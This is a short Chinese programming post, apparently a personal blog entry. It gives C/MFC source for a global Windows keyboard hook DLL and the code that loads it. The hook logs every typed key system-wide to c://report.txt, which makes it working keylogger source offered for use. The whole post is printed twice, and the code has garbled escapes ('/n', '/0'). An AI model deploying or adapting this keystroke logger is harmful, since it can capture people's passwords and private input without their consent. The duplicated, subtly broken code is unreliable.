就这个小破程序还耽误了我两天,我真是太笨了。。。
这是一个全局的钩子,需要放在DLL中。关于dll的部分就不说了。
#pragma data_seg("simdata")
HWND glbPrevWnd = NULL;
static HHOOK glbHook = NULL;
HINSTANCE glbInst = NULL;
FILE * f1;
#pragma data_seg()
#pragma comment(linker, "/SECTION:simdata,RWS")
LRESULT CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam == VK_SPACE)||(wParam == VK_RETURN)||(wParam >= 0x2f ) &&(wParam<=0x100))
{
f1=fopen("c://report.txt","a+");
if (wParam==VK_RETURN)
{
ch='/n';
fwrite(&ch,1,1,f1);
MessageBox(NULL, "你输入了回车","提示",MB_OK|MB_ICONINFORMATION);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan = 0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
fwrite(&ch,1,1,f1);
char op[2] = {ch,'/0'};
MessageBox(NULL, op, "提示",MB_OK|MB_ICONINFORMATION);
}
fclose(f1);
}
}
return CallNextHookEx( glbHook, nCode, wParam, lParam );
}
BOOL StartHook()
{
//glbInst = GetModuleHandle(NULL);
AFX_MANAGE_STATE(AfxGetStaticModuleState());
glbInst = AfxGetInstanceHandle(); //就是此处耽误了我好长时间,唉,msdn的解释一定要仔细看啊
glbHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, glbInst, 0);
if (NULL == glbHook)
MessageBox(NULL, _T("Failed to set up"), _T("Error"),MB_OK|MB_ICONERROR);
return (glbHook != NULL)?true:false;
}
BOOL StopHook()
{
//ASSERT(glbHook);
if (!UnhookWindowsHookEx((HHOOK)glbHook))
{
printf("卸载钩子出错!/n");
printf("Error Code : %d/n",GetLastError());
return false;
}
return true;
}
调用的时候要动态的载入:
typedef BOOL (CALLBACK *lpHookStart) ();
lpHookStart mystart;
HINSTANCE hHand;
hHand = LoadLibrary("simhook.dll");
if( (mystart = (lpHookStart)GetProcAddress(hHand, "StartHook")) != NULL)
{
mystart();
}
这是一个全局的钩子,需要放在DLL中。关于dll的部分就不说了。
#pragma data_seg("simdata")
HWND glbPrevWnd = NULL;
static HHOOK glbHook = NULL;
HINSTANCE glbInst = NULL;
FILE * f1;
#pragma data_seg()
#pragma comment(linker, "/SECTION:simdata,RWS")
LRESULT CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam)
{
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam == VK_SPACE)||(wParam == VK_RETURN)||(wParam >= 0x2f ) &&(wParam<=0x100))
{
f1=fopen("c://report.txt","a+");
if (wParam==VK_RETURN)
{
ch='/n';
fwrite(&ch,1,1,f1);
MessageBox(NULL, "你输入了回车","提示",MB_OK|MB_ICONINFORMATION);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan = 0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
fwrite(&ch,1,1,f1);
char op[2] = {ch,'/0'};
MessageBox(NULL, op, "提示",MB_OK|MB_ICONINFORMATION);
}
fclose(f1);
}
}
return CallNextHookEx( glbHook, nCode, wParam, lParam );
}
BOOL StartHook()
{
//glbInst = GetModuleHandle(NULL);
AFX_MANAGE_STATE(AfxGetStaticModuleState());
glbInst = AfxGetInstanceHandle(); //就是此处耽误了我好长时间,唉,msdn的解释一定要仔细看啊
glbHook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, glbInst, 0);
if (NULL == glbHook)
MessageBox(NULL, _T("Failed to set up"), _T("Error"),MB_OK|MB_ICONERROR);
return (glbHook != NULL)?true:false;
}
BOOL StopHook()
{
//ASSERT(glbHook);
if (!UnhookWindowsHookEx((HHOOK)glbHook))
{
printf("卸载钩子出错!/n");
printf("Error Code : %d/n",GetLastError());
return false;
}
return true;
}
调用的时候要动态的载入:
typedef BOOL (CALLBACK *lpHookStart) ();
lpHookStart mystart;
HINSTANCE hHand;
hHand = LoadLibrary("simhook.dll");
if( (mystart = (lpHookStart)GetProcAddress(hHand, "StartHook")) != NULL)
{
mystart();
}